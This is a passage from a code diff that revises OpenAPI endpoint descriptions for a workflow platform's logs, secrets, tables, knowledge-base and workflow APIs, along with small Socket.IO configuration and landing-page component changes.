path. A path that names no folder narrows the result to nothing, so the response is an empty page rather than an error.", "schema": { - "description": "Restrict results to direct children of this parent path.", + "description": "Restrict results to direct children of this parent path. A path that names no folder narrows the result to nothing, so the response is an empty page rather than an error.", "$ref": "#/components/schemas/FolderPathInput" } }, @@ -3481,7 +3481,7 @@ "patch": { "operationId": "bulkUpdateKnowledgeChunks", "summary": "Bulk Update Chunks", - "description": "Enable, disable, or delete many chunks of one document in a single request. Best-effort: an identifier naming no chunk in the document is skipped rather than failing the request, so `processed` is the authoritative count. Chunks of a connector-synced document are read-only and a write answers `403` with `error.details.code: \"CONNECTOR_MANAGED_RESOURCE_READ_ONLY\"` — change the content at the source and re-sync, or exclude the document from the connector. A workspace API key is rejected with `403`; use a personal API key.", + "description": "Enable, disable, or delete many chunks of one document in a single request. Best-effort: an identifier naming no chunk in the document is reported in `errors` rather than failing the request. `processed` counts the chunks the operation matched, not the chunks it changed. Chunks of a connector-synced document are read-only and a write answers `403` with `error.details.code: \"CONNECTOR_MANAGED_RESOURCE_READ_ONLY\"` — change the content at the source and re-sync, or exclude the document from the connector. A workspace API key is rejected with `403`; use a personal API key.", "tags": ["Knowledge Bases"], "parameters": [ { @@ -6838,14 +6838,15 @@ "type": "object", "properties": { "recipe": { - "description": "Optional document processing recipe.", + "description": "Optional document processing recipe. One of: default, plain, markdown, code.", "type": "string", - "maxLength": 255 + "enum": ["default", "plain", "markdown", "code"] }, "lang": { - "description": "Optional document language code.", + "description": "Optional document language: hyphen-separated letter and digit subtags such as `en`, `en-US`, or `zh-Hant-TW`. Only that shape is validated, not full BCP-47 conformance.", "type": "string", - "maxLength": 35 + "maxLength": 35, + "pattern": "^[A-Za-z]{2,8}(?:-[A-Za-z0-9]{1,8})*$" } }, "additionalProperties": false @@ -7876,7 +7877,7 @@ "type": "integer", "minimum": 0, "maximum": 9007199254740991, - "description": "Number of chunks the operation changed.", + "description": "Number of chunks in this document the operation matched. Chunks already in the requested state are counted too, so this is not a count of changes.", "examples": [12] }, "errors": { @@ -7884,7 +7885,7 @@ "items": { "type": "string" }, - "description": "Per-chunk failures. A populated array still answers 200." + "description": "Per-chunk failures, including any identifier that named no chunk in the document. A populated array still answers 200." } }, "required": ["operation", "processed", "errors"], @@ -7927,7 +7928,7 @@ "type": "string", "minLength": 1 }, - "description": "Chunks to operate on, by identifier. Ids outside the document are ignored." + "description": "Chunks to operate on, by identifier. An id naming no chunk in the document is reported in errors and does not fail the request." } }, "required": ["workspaceId", "operation", "chunkIds"], diff --git a/apps/docs/openapi-v2-logs.json b/apps/docs/openapi-v2-logs.json index 08535cf3ef1..3f69f6dd896 100644 --- a/apps/docs/openapi-v2-logs.json +++ b/apps/docs/openapi-v2-logs.json @@ -244,9 +244,9 @@ "name": "includeJobRuns", "in": "query", "required": false, - "description": "Whether Chat and Sim-agent job runs join the sequence alongside workflow runs. Job runs report `kind: \"job\"`, carry no `workflow` summary, and never carry a cost ledger. They are dropped entirely — not partially matched — whenever a filter they cannot answer is set (`workflowIds`, `workflowName`, `folderPaths`, `model`, or `status`), so a filter never means two different things across the union. Accepted only under `sortBy=startedAt`: job runs record cost as a document and no comparable status, so they cannot participate in the other orderings.", + "description": "Whether Chat and Sim-agent job runs join the sequence alongside workflow runs. Job runs report `kind: \"job\"`, carry no `workflow` summary, and never carry a cost ledger. They are dropped entirely — not partially matched — whenever a filter they cannot answer is set: by workflow, workflow name, folder, model, or status. A filter therefore never means two different things across the union. Accepted only when sorting by `startedAt`: job runs record cost as a document and no comparable status, so they cannot participate in the other orderings.", "schema": { - "description": "Whether Chat and Sim-agent job runs join the sequence alongside workflow runs. Job runs report `kind: \"job\"`, carry no `workflow` summary, and never carry a cost ledger. They are dropped entirely — not partially matched — whenever a filter they cannot answer is set (`workflowIds`, `workflowName`, `folderPaths`, `model`, or `status`), so a filter never means two different things across the union. Accepted only under `sortBy=startedAt`: job runs record cost as a document and no comparable status, so they cannot participate in the other orderings.", + "description": "Whether Chat and Sim-agent job runs join the sequence alongside workflow runs. Job runs report `kind: \"job\"`, carry no `workflow` summary, and never carry a cost ledger. They are dropped entirely — not partially matched — whenever a filter they cannot answer is set: by workflow, workflow name, folder, model, or status. A filter therefore never means two different things across the union. Accepted only when sorting by `startedAt`: job runs record cost as a document and no comparable status, so they cannot participate in the other orderings.", "type": "boolean" } }, @@ -267,10 +267,10 @@ "name": "sortBy", "in": "query", "required": false, - "description": "Field used to sort the result. `durationMs` and `cost` are null until a run settles; those runs order as though the value were below every recorded one, so they trail an ascending page and lead a descending one. Only `startedAt` can order Chat and Sim-agent job runs, so any other value is rejected together with `includeJobRuns=true`.", + "description": "Field used to sort the result. `durationMs` and `cost` are null until a run settles; those runs order as though the value were below every recorded one, so they trail an ascending page and lead a descending one. Only `startedAt` can order Chat and Sim-agent job runs, so any other value is rejected when job runs are included.", "schema": { "default": "startedAt", - "description": "Field used to sort the result. `durationMs` and `cost` are null until a run settles; those runs order as though the value were below every recorded one, so they trail an ascending page and lead a descending one. Only `startedAt` can order Chat and Sim-agent job runs, so any other value is rejected together with `includeJobRuns=true`.", + "description": "Field used to sort the result. `durationMs` and `cost` are null until a run settles; those runs order as though the value were below every recorded one, so they trail an ascending page and lead a descending one. Only `startedAt` can order Chat and Sim-agent job runs, so any other value is rejected when job runs are included.", "type": "string", "enum": ["startedAt", "durationMs", "cost", "status"] } @@ -421,7 +421,7 @@ "get": { "operationId": "getLogStats", "summary": "Get Log Statistics", - "description": "Bucketed run counts, success rate, error count, and mean latency for a workspace and for each of its workflows — the aggregate a caller would otherwise have to page every run to compute. The window spans the oldest matching run through the later of the newest matching run and now, divided into exactly `segmentCount` equal buckets whose width is `max(60000, floor(windowMs / segmentCount))` milliseconds. The one-minute floor is a floor on bucket width, not on the window: when it applies, the series runs past `timeBounds.end` and the trailing buckets are empty rather than the window being compressed. A folder path covers its whole subtree. Per-workflow series are capped and `workflowsTruncated` reports whether the cap applied; the workspace totals are always computed from every workflow. Runs are hard-deleted once they pass the payer's log retention window, so an older run is simply absent rather than reported as removed. The window is 30 days from run start on the free plan, unbounded on Pro and Team, and set per organization on Enterprise with an optional per-workspace override. A workspace folder tree over 10,000 folders is a `413`.", + "description": "Bucketed run counts, success rate, error count, and mean latency for a workspace and for each of its workflows — the aggregate a caller would otherwise have to page every run to compute. The window spans `startDate` through `endDate` when both are supplied; an omitted edge falls back to the oldest matching run on the left and to the later of the newest matching run and now on the right. With no matching runs the right edge falls back to now and the left to 24 hours before that right edge — the trailing 24 hours when neither edge was supplied, and the 24 hours preceding `endDate` when only `endDate` was supplied. A supplied `startDate` is still used verbatim, so a `startDate` without an `endDate` yields `[startDate, now]`, which can be any width. The window is divided into exactly `segmentCount` equal buckets whose width is `max(60000, floor(windowMs / segmentCount))` milliseconds. The one-minute floor is a floor on bucket width, not on the window: when it applies, the series runs past `timeBounds.end` and the trailing buckets are empty rather than the window being compressed. A folder path covers its whole subtree. Per-workflow series are capped and `workflowsTruncated` reports whether the cap applied; the workspace totals are always computed from every workflow. Runs are hard-deleted once they pass the payer's log retention window, so an older run is simply absent rather than reported as removed. The window is 30 days from run start on the free plan, unbounded on Pro and Team, and set per organization on Enterprise with an optional per-workspace override. A workspace folder tree over 10,000 folders is a `413`.", "tags": ["Logs"], "parameters": [ { @@ -1779,7 +1779,7 @@ }, "required": ["start", "end"], "additionalProperties": false, - "description": "The window the buckets span: the oldest matching run through the later of the newest matching run and now. A workspace with no matching runs reports the trailing 24 hours." + "description": "The window the buckets span. `startDate` and `endDate` are used verbatim when supplied; an omitted edge falls back to the oldest matching run on the left and to the later of the newest matching run and now on the right. With no matching runs the right edge falls back to now and the left to 24 hours before that right edge — the trailing 24 hours when neither edge was supplied, and the 24 hours preceding `endDate` when only `endDate` was supplied. A supplied `startDate` is still used verbatim, so a `startDate` without an `endDate` yields `[startDate, now]`, which can be any width." }, "segmentMs": { "type": "number", diff --git a/apps/docs/openapi-v2-resources.json b/apps/docs/openapi-v2-resources.json index bbc64e30435..402e5d1dfdd 100644 --- a/apps/docs/openapi-v2-resources.json +++ b/apps/docs/openapi-v2-resources.json @@ -2715,26 +2715,26 @@ "put": { "operationId": "setSecret", "summary": "Set Secret", - "description": "Create or replace a workspace or caller-owned personal secret. The value is encrypted at rest, is write-only, and is never included in the response. A workspace API key is rejected with `403`; use a personal API key.", + "description": "Create or replace a workspace or caller-owned personal secret. The value is encrypted at rest, is write-only, and is never included in the response. Omit `value` on a workspace secret to update `description` and `unredacted` alone: the stored value is left untouched and is never re-encrypted, and because a metadata-only write cannot create a secret it answers `404` when the named secret does not exist. A personal secret always requires `value`, having no other writable field. A workspace API key is rejected with `403`; use a personal API key.", "tags": ["Secrets"], "parameters": [ { "name": "name", "in": "path", "required": true, - "description": "Secret to create, replace, or delete.", + "description": "Secret to create or replace.", "schema": { "type": "string", "minLength": 1, "maxLength": 255, "pattern": "^[A-Za-z0-9_]+$", - "description": "Secret to create, replace, or delete." + "description": "Secret to create or replace." } } ], "requestBody": { "required": true, - "description": "Ownership scope and write-only value for the secret.", + "description": "Ownership scope and write-only value for the secret. A workspace secret may instead send description or unredacted alone, without a value.", "content": { "application/json": { "schema": { @@ -2745,7 +2745,7 @@ }, "responses": { "200": { - "description": "The existing secret value was replaced.", + "description": "The existing secret value was replaced, or its metadata was updated in place.", "headers": { "X-RateLimit-Limit": { "$ref": "#/components/headers/X-RateLimit-Limit" @@ -2825,13 +2825,13 @@ "name": "name", "in": "path", "required": true, - "description": "Secret to create, replace, or delete.", + "description": "Secret to delete.", "schema": { "type": "string", "minLength": 1, "maxLength": 255, "pattern": "^[A-Za-z0-9_]+$", - "description": "Secret to create, replace, or delete." + "description": "Secret to delete." } }, { @@ -7164,11 +7164,11 @@ "description": "Whether the secret belongs to the workspace or to the caller. A personal secret belongs to the caller across every workspace, not to one workspace." }, "value": { + "description": "Write-only secret value. It is never returned. Omit it on a workspace secret to change description or unredacted alone, leaving the stored value untouched; the secret must already exist. Always required for a personal secret, which carries no other writable field.", + "writeOnly": true, "type": "string", "minLength": 1, - "maxLength": 65536, - "description": "Write-only secret value. It is never returned.", - "writeOnly": true + "maxLength": 65536 }, "description": { "description": "What the secret is for, shown to teammates. Workspace scope only — sending it for a personal secret is rejected. Omit it to leave an existing description untouched; send null or an empty string to clear one.", @@ -7187,15 +7187,20 @@ "type": "boolean" } }, - "required": ["workspaceId", "scope", "value"], + "required": ["workspaceId", "scope"], "additionalProperties": false, "title": "Set secret request", - "description": "Ownership scope and write-only value for the secret.", + "description": "Ownership scope and write-only value for the secret. A workspace secret may instead send description or unredacted alone, without a value.", "examples": [ { "workspaceId": "a91c4b2e-6d3f-4e8a-b5c7-0d9e2f1a8c64", "scope": "workspace", "value": "YOUR_SECRET_VALUE" + }, + { + "workspaceId": "a91c4b2e-6d3f-4e8a-b5c7-0d9e2f1a8c64", + "scope": "workspace", + "unredacted": false } ] }, @@ -7393,7 +7398,7 @@ }, "toolNamesTruncated": { "type": "boolean", - "description": "Whether `toolCount` and `toolNames` under-report. The names are gathered for the whole page under one ceiling, so a page whose servers publish more tools than that ceiling between them reports only part of each server's inventory. Read `GET /api/v2/workflow-mcp-servers/{serverId}/tools` for one server's inventory and check that response's own `truncated`, which reports the same ceiling applied to a single server — only an untruncated response is the authoritative set. Unrelated to `nextCursor`, which is how this list says there are further servers." + "description": "Whether `toolCount` and `toolNames` under-report. The names are gathered for the whole page under one ceiling, so a page whose servers publish more tools than that ceiling between them reports only part of each server's inventory. Read one server's tool inventory and check that response's own `truncated`, which reports the same ceiling applied to a single server — only an untruncated response is the authoritative set. Unrelated to `nextCursor`, which is how this list says there are further servers." } }, "required": ["data", "nextCursor", "toolNamesTruncated"], @@ -8189,14 +8194,14 @@ "items": { "type": "string" }, - "description": "Built-in tools this block can run. Resolve one with `GET /api/v2/tools/{toolId}`." + "description": "Built-in tools this block can run. Read a tool by its id for the full definition." }, "operationIds": { "type": "array", "items": { "type": "string" }, - "description": "Operations this block exposes. Their fields and tools are on `GET /api/v2/blocks/{blockId}`." + "description": "Operations this block exposes. Their fields and tools are on the block read." }, "preview": { "type": "boolean", @@ -8877,14 +8882,14 @@ "items": { "type": "string" }, - "description": "Built-in tools this block can run. Resolve one with `GET /api/v2/tools/{toolId}`." + "description": "Built-in tools this block can run. Read a tool by its id for the full definition." }, "operationIds": { "type": "array", "items": { "type": "string" }, - "description": "Operations this block exposes. Their fields and tools are on `GET /api/v2/blocks/{blockId}`." + "description": "Operations this block exposes. Their fields and tools are on the block read." }, "preview": { "type": "boolean", diff --git a/apps/docs/openapi-v2-tables.json b/apps/docs/openapi-v2-tables.json index 52a8d00198b..359c8e1d4b9 100644 --- a/apps/docs/openapi-v2-tables.json +++ b/apps/docs/openapi-v2-tables.json @@ -55,10 +55,10 @@ "name": "scope", "in": "query", "required": false, - "description": "Which lifecycle set to list: `active` (default) for live tables, `archived` for tables a `DELETE` archived and `POST /tables/{tableId}/restore` can bring back. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", + "description": "Which lifecycle set to list: `active` (default) for live tables, `archived` for tables a delete archived and a table restore can bring back. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", "schema": { "default": "active", - "description": "Which lifecycle set to list: `active` (default) for live tables, `archived` for tables a `DELETE` archived and `POST /tables/{tableId}/restore` can bring back. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", + "description": "Which lifecycle set to list: `active` (default) for live tables, `archived` for tables a delete archived and a table restore can bring back. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", "type": "string", "enum": ["active", "archived"] } @@ -3726,9 +3726,9 @@ "name": "parentPath", "in": "query", "required": false, - "description": "Restrict results to direct children of this parent path.", + "description": "Restrict results to direct children of this parent path. A path that names no folder narrows the result to nothing, so the response is an empty page rather than an error.", "schema": { - "description": "Restrict results to direct children of this parent path.", + "description": "Restrict results to direct children of this parent path. A path that names no folder narrows the result to nothing, so the response is an empty page rather than an error.", "$ref": "#/components/schemas/FolderPathInput" } }, @@ -6400,7 +6400,7 @@ "description": "Unique workspace identifier." }, "data": { - "description": "Complete set of row cells keyed by column name. On the update branch this REPLACES the matched row: any column not present here is cleared, unlike the merging `PATCH /api/v2/tables/{tableId}/rows/{rowId}`.", + "description": "Complete set of row cells keyed by column name. On the update branch this REPLACES the matched row: any column not present here is cleared, unlike a single-row update, which merges.", "$ref": "#/components/schemas/V2TableRowData" }, "conflictTarget": { @@ -7628,7 +7628,7 @@ { "workspaceId": "a91c4b2e-6d3f-4e8a-b5c7-0d9e2f1a8c64", "group": { - "workflowId": "wf_1b3d5f7a9c2e4680b4d6f8a0c2e4b619", + "workflowId": "3b1f7c92-8d4e-4a6b-9c0d-5e2f8a714b36", "name": "Enrich company", "outputs": [ { @@ -9658,7 +9658,7 @@ "description": "Workspace that owns the archived folder." }, "path": { - "description": "Path the folder held when `DELETE /api/v2/tables/folders` archived it.", + "description": "Path the folder held when a folder delete archived it.", "$ref": "#/components/schemas/NonRootFolderPathInput" } }, diff --git a/apps/docs/openapi-v2-workflows.json b/apps/docs/openapi-v2-workflows.json index 13416eb4837..ca61a2adaca 100644 --- a/apps/docs/openapi-v2-workflows.json +++ b/apps/docs/openapi-v2-workflows.json @@ -59,10 +59,10 @@ "name": "scope", "in": "query", "required": false, - "description": "Which lifecycle set to list: `active` (default) for live workflows, `archived` for workflows a `DELETE` archived. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", + "description": "Which lifecycle set to list: `active` (default) for live workflows, `archived` for workflows a `DELETE` archived. The folder filter resolves against active folders only, so pairing it with `archived` returns an empty page when the containing folder was archived too.", "schema": { "default": "active", - "description": "Which lifecycle set to list: `active` (default) for live workflows, `archived` for workflows a `DELETE` archived. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", + "description": "Which lifecycle set to list: `active` (default) for live workflows, `archived` for workflows a `DELETE` archived. The folder filter resolves against active folders only, so pairing it with `archived` returns an empty page when the containing folder was archived too.", "type": "string", "enum": ["active", "archived"] } @@ -338,7 +338,7 @@ "put": { "operationId": "replaceWorkflowState", "summary": "Replace Workflow State", - "description": "Replace a workflow’s editable draft graph wholesale. `loops` and `parallels` are accepted but ignored — both are recomputed from `blocks`. Omitting `variables` leaves the stored variables untouched.\n\nLast write wins: concurrent writers are serialized by a row lock, so each lands a complete self-consistent graph and the later one replaces the earlier entirely. There is no partially-written state and no conflict detection.\n\nThis does not change what the deployed endpoint serves. Deployments are immutable versioned snapshots, and no schedule or webhook registration is touched. The only visible consequence is that `needsRedeployment` becomes true; `POST /workflows/{workflowId}/deploy` publishes the draft.\n\n`lint` is advisory and never blocks the write. `lint.fieldIssues` is the most actionable part for a headless builder — it names blocks missing a required field, which fail at run time — and `lint.unresolvedReferences` names credential, resource, tool, and skill values that do not resolve. A workspace API key is rejected with `403`; use a personal API key.\n\nSet `?dryRun=true` to validate and lint without persisting: nothing is written, no audit entry is recorded, and collaborators are not notified. The response carries the same shape and the same validation and `lint` findings the committed write would, with `dryRun: true` — but `needsRedeployment` describes the state before the write, and warnings raised by persistence itself are necessarily absent.", + "description": "Replace a workflow’s editable draft graph wholesale. `loops` and `parallels` are accepted but ignored — both are recomputed from `blocks`. Omitting `variables` leaves the stored variables untouched.\n\nLast write wins: concurrent writers are serialized by a row lock, so each lands a complete self-consistent graph and the later one replaces the earlier entirely. There is no partially-written state. Ids are the one conflict that is detected: block, edge, and subflow ids are globally unique, so a body carrying an id another workflow already owns is refused with `409` rather than written.\n\nThis does not change what the deployed endpoint serves. Deployments are immutable versioned snapshots, and no schedule or webhook registration is touched. The only visible consequence is that `needsRedeployment` becomes true; `POST /workflows/{workflowId}/deploy` publishes the draft.\n\n`lint` is advisory and never blocks the write. `lint.fieldIssues` is the most actionable part for a headless builder — it names blocks missing a required field, which fail at run time — and `lint.unresolvedReferences` names credential, resource, tool, and skill values that do not resolve. A workspace API key is rejected with `403`; use a personal API key.\n\nSet `?dryRun=true` to validate and lint without persisting: nothing is written, no audit entry is recorded, and collaborators are not notified. The response carries the same shape and the same validation and `lint` findings the committed write would, with `dryRun: true` — including the warnings the write’s own preparation step raises, and the same `409` when an id is already owned by another workflow. Only `needsRedeployment` differs: it describes the state before the write.", "tags": ["Workflows"], "parameters": [ { @@ -437,7 +437,7 @@ "post": { "operationId": "applyWorkflowOperations", "summary": "Apply Workflow Operations", - "description": "Apply a batch of semantic edits — add, edit, delete, and subflow membership changes — to a workflow graph, plus an optional set of block enable/disable changes.\n\nBest-effort per operation, atomic per write. The engine applies what it can to an in-memory graph and reports the rest in `skipped`, each with a machine-readable `type`; exactly one write of the fully-resolved graph then happens, so there is never a partially-applied graph. `deferred` is **not** a failure list: a forward-referencing edge is wired automatically once its target block exists, in this batch or a later one, so re-issuing a deferred edge is wrong.\n\nSet `atomic` to fail closed: any genuine skipped item, or any block input that would be dropped rather than persisted, then aborts before the write and answers `409` with `error.details.code: \"OPERATIONS_NOT_APPLIED\"`, the same `skipped` array, and a `droppedInputs` array, having persisted nothing.\n\nA `block_id` you supply on an `add` or `insert_into_subflow` is only a label unless it is already a UUID: the engine mints one and returns the pairing in `mintedBlockIds`. References between operations in the same batch are remapped for you, so `triage` can be wired up in the same call it is created in — but a later request must use the minted id. Send your own UUIDs when you want an id you chose to survive across requests.\n\nOperation `params` is an open object because the accepted inputs come from the block registry, not from this contract — see the per-operation schemas for the envelope: `inputs` keyed by sub-block id, with `retry`, `triggerMode` and `advancedMode` beside it rather than inside it, and `connections` keyed by source handle. `GET /blocks/{blockId}` publishes the inputs a given block type accepts. The Agent block’s `inputs.tools` value is the important exception to that open catalog shape: it is published here as the named `AgentToolInput` union, covering catalog integrations, workspace custom tools, and MCP tools.\n\n`lint` is advisory and never blocks the write. `lint.fieldIssues` is the most actionable part for a headless builder — it names blocks missing a required field, which fail at run time — and `lint.unresolvedReferences` names credential, resource, tool, and skill values that do not resolve. Those values stay persisted; only `inputValidationErrors` lists inputs that were actually dropped.\n\nAs with `PUT /workflows/{workflowId}/state`, this changes only the draft; deploy to publish it. A workspace API key is rejected with `403`; use a personal API key.\n\nSet `?dryRun=true` to validate and lint without persisting: nothing is written, no audit entry is recorded, and collaborators are not notified. The response carries the same shape and the same validation and `lint` findings the committed write would, with `dryRun: true` — but `needsRedeployment` describes the state before the write, and warnings raised by persistence itself are necessarily absent.", + "description": "Apply a batch of semantic edits — add, edit, delete, and subflow membership changes — to a workflow graph, plus an optional set of block enable/disable changes.\n\nBest-effort per operation, atomic per write. The engine applies what it can to an in-memory graph and reports the rest in `skipped`, each with a machine-readable `type`; exactly one write of the fully-resolved graph then happens, so there is never a partially-applied graph. `deferred` is **not** a failure list: a forward-referencing edge is wired automatically once its target block exists, in this batch or a later one, so re-issuing a deferred edge is wrong.\n\nSet `atomic` to fail closed: any genuine skipped item, or any block input that would be dropped rather than persisted, then aborts before the write and answers `409` with `error.details.code: \"OPERATIONS_NOT_APPLIED\"`, the same `skipped` array, and a `droppedInputs` array, having persisted nothing.\n\nA `block_id` you supply on an `add` or `insert_into_subflow` is only a label unless it is already a UUID: the engine mints one and returns the pairing in `mintedBlockIds`. References between operations in the same batch are remapped for you, so `triage` can be wired up in the same call it is created in — but a later request must use the minted id. Send your own UUIDs when you want an id you chose to survive across requests.\n\nOperation `params` is an open object because the accepted inputs come from the block registry, not from this contract — see the per-operation schemas for the envelope: `inputs` keyed by sub-block id, with `retry`, `triggerMode` and `advancedMode` beside it rather than inside it, and `connections` keyed by source handle. `GET /blocks/{blockId}` publishes the inputs a given block type accepts. The Agent block’s `inputs.tools` value is the important exception to that open catalog shape: it is published here as the named `AgentToolInput` union, covering catalog integrations, workspace custom tools, and MCP tools.\n\n`lint` is advisory and never blocks the write. `lint.fieldIssues` is the most actionable part for a headless builder — it names blocks missing a required field, which fail at run time — and `lint.unresolvedReferences` names credential, resource, tool, and skill values that do not resolve. Those values stay persisted; only `inputValidationErrors` lists inputs that were actually dropped.\n\nAs with `PUT /workflows/{workflowId}/state`, this changes only the draft; deploy to publish it. A workspace API key is rejected with `403`; use a personal API key.\n\nSet `?dryRun=true` to validate and lint without persisting: nothing is written, no audit entry is recorded, and collaborators are not notified. The response carries the same shape and the same validation and `lint` findings the committed write would, with `dryRun: true` — including the warnings the write’s own preparation step raises, and the same `409` when an id is already owned by another workflow. Only `needsRedeployment` differs: it describes the state before the write.", "tags": ["Workflows"], "parameters": [ { @@ -3206,9 +3206,9 @@ "name": "parentPath", "in": "query", "required": false, - "description": "Restrict results to direct children of this parent path.", + "description": "Restrict results to direct children of this parent path. A path that names no folder narrows the result to nothing, so the response is an empty page rather than an error.", "schema": { - "description": "Restrict results to direct children of this parent path.", + "description": "Restrict results to direct children of this parent path. A path that names no folder narrows the result to nothing, so the response is an empty page rather than an error.", "$ref": "#/components/schemas/FolderPathInput" } }, diff --git a/apps/realtime/src/config/socket.ts b/apps/realtime/src/config/socket.ts index 3e6c50ecbe9..2345b16ce2b 100644 --- a/apps/realtime/src/config/socket.ts +++ b/apps/realtime/src/config/socket.ts @@ -11,8 +11,11 @@ const logger = createLogger('SocketIOConfig') const PING_TIMEOUT_MS = 60000 /** Socket.IO ping interval - how often to send ping packets */ const PING_INTERVAL_MS = 25000 -/** Maximum HTTP buffer size for Socket.IO messages */ -const MAX_HTTP_BUFFER_SIZE = 1e6 +/** + * Accommodates the existing 5 MiB collaborative-document boundary plus Yjs and Socket.IO framing. + * This remains a transport safety hatch, not a product-sized text limit. + */ +const MAX_HTTP_BUFFER_SIZE = 8 * 1024 * 1024 let adapterPubClient: RedisClientType | null = null let adapterSubClient: RedisClientType | null = null diff --git a/apps/sim/app/(landing)/components/auth-modal/auth-modal.tsx b/apps/sim/app/(landing)/components/auth-modal/auth-modal.tsx index da7f1e76324..6e182a8ef48 100644 --- a/apps/sim/app/(landing)/components/auth-modal/auth-modal.tsx +++ b/apps/sim/app/(landing)/components/auth-modal/auth-modal.tsx @@ -2,6 +2,7 @@ import { useEffect, useRef, useState } from 'react' import { + cn, Loader, Modal, ModalClose, @@ -22,6 +23,7 @@ import { getEnv, isFalsy } from '@/lib/core/config/env' import { isSsoEnabled } from '@/lib/core/config/env-flags' import { captureClientEvent } from '@/lib/posthog/client' import type { PostHogEventMap } from '@/lib/posthog/events' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' import { getBrandConfig } from '@/ee/whitelabeling' const logger = createLogger('AuthModal') @@ -196,7 +198,12 @@ export function AuthModal({ children, defaultView = 'login', source }: AuthModal className='h-[22px] w-auto shrink-0 object-contain' />
-

+

Start building.

diff --git a/apps/sim/app/(landing)/components/features/components/captured-platform-surface.tsx b/apps/sim/app/(landing)/components/features/components/captured-platform-surface.tsx index a83b364490c..768a2479bac 100644 --- a/apps/sim/app/(landing)/components/features/components/captured-platform-surface.tsx +++ b/apps/sim/app/(landing)/components/features/components/captured-platform-surface.tsx @@ -1,6 +1,8 @@ 'use client' import Image from 'next/image' +import { PLATFORM_LOOP_DESIGN } from '@/app/(landing)/components/shared/platform-loop-constants' +import { ResponsiveDesignStage } from '@/app/(landing)/components/shared/responsive-design-stage' import { PREVIEW_SIDEBAR_CHATS, PREVIEW_SIDEBAR_WORKFLOWS, @@ -26,23 +28,22 @@ export function CapturedPlatformSurface({ src, sizes, activeItem }: CapturedPlat return (
- + ) } diff --git a/apps/sim/app/(landing)/components/hero/components/hero-visual/hero-visual.tsx b/apps/sim/app/(landing)/components/hero/components/hero-visual/hero-visual.tsx index e3f46d6790a..3e32f5e88a5 100644 --- a/apps/sim/app/(landing)/components/hero/components/hero-visual/hero-visual.tsx +++ b/apps/sim/app/(landing)/components/hero/components/hero-visual/hero-visual.tsx @@ -38,6 +38,7 @@ import { TYPE_MS_PER_ATOM, WORKFLOW_FOCUS_SCALE, } from '@/app/(landing)/components/hero/components/hero-visual/workflow-data' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' /** * Animated hero visual - the only client island in the hero, decorative and @@ -299,7 +300,7 @@ const SEND_BUTTON_INK = { */ const LANDING_LOADER_INK = { '--tl-grad-inner': 'var(--text-body)', - '--tl-grad-outer': 'color-mix(in srgb, var(--text-body) 76%, #fff)', + '--tl-grad-outer': 'var(--thinking-loader-outer)', '--tl-glow': 'transparent', } as CSSProperties @@ -1144,6 +1145,7 @@ export function HeroVisual() { // layer, so the slide + dock read as smooth sub-pixel motion instead of // jittering as the position pixel-snaps each frame. 'pointer-events-none absolute top-0 left-0 z-20 transform-gpu transition-opacity duration-300 will-change-transform [transition-timing-function:cubic-bezier(0.23,1,0.32,1)]', + colorMixFallbacks.loaderOuter, loaderFading ? 'opacity-0' : 'opacity-100' )} style={{ transformOrigin: '0 0' }} diff --git a/apps/sim/app/(landing)/components/hero/components/hero-visual/stage-kb.tsx b/apps/sim/app/(landing)/components/hero/components/hero-visual/stage-kb.tsx index 82c183cfb3c..b118375262f 100644 --- a/apps/sim/app/(landing)/components/hero/components/hero-visual/stage-kb.tsx +++ b/apps/sim/app/(landing)/components/hero/components/hero-visual/stage-kb.tsx @@ -46,9 +46,7 @@ export function KnowledgeBasePanel({ )} >
- - Create Knowledge Base - + Create Knowledge Base
diff --git a/apps/sim/app/(landing)/components/hero/components/hero-visual/workflow-block-content.tsx b/apps/sim/app/(landing)/components/hero/components/hero-visual/workflow-block-content.tsx index 3a637cc60f5..6036e50cab8 100644 --- a/apps/sim/app/(landing)/components/hero/components/hero-visual/workflow-block-content.tsx +++ b/apps/sim/app/(landing)/components/hero/components/hero-visual/workflow-block-content.tsx @@ -33,9 +33,7 @@ export function WorkflowBlockContent({ block }: WorkflowBlockContentProps) { )}
- - {block.name} - + {block.name}

{block.rows.length > 0 && ( diff --git a/apps/sim/app/(landing)/components/navbar/components/logo-mark/logo-mark.tsx b/apps/sim/app/(landing)/components/navbar/components/logo-mark/logo-mark.tsx index 1d26c75dd5c..e8cdc62896d 100644 --- a/apps/sim/app/(landing)/components/navbar/components/logo-mark/logo-mark.tsx +++ b/apps/sim/app/(landing)/components/navbar/components/logo-mark/logo-mark.tsx @@ -3,6 +3,7 @@ import { type CSSProperties, type ReactNode, useState } from 'react' import { cn } from '@sim/emcn' import { ThinkingLoader } from '@/components/ui' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' interface LogoMarkProps { /** Server-rendered Sim wordmark, shown by default. */ @@ -18,7 +19,7 @@ interface LogoMarkProps { */ const LOADER_INK = { '--tl-grad-inner': 'var(--text-body)', - '--tl-grad-outer': 'color-mix(in srgb, var(--text-body) 76%, #fff)', + '--tl-grad-outer': 'var(--thinking-loader-outer)', '--tl-glow': 'transparent', } as CSSProperties @@ -35,7 +36,7 @@ export function LogoMark({ children }: LogoMarkProps) { return ( - {filename} + {filename}
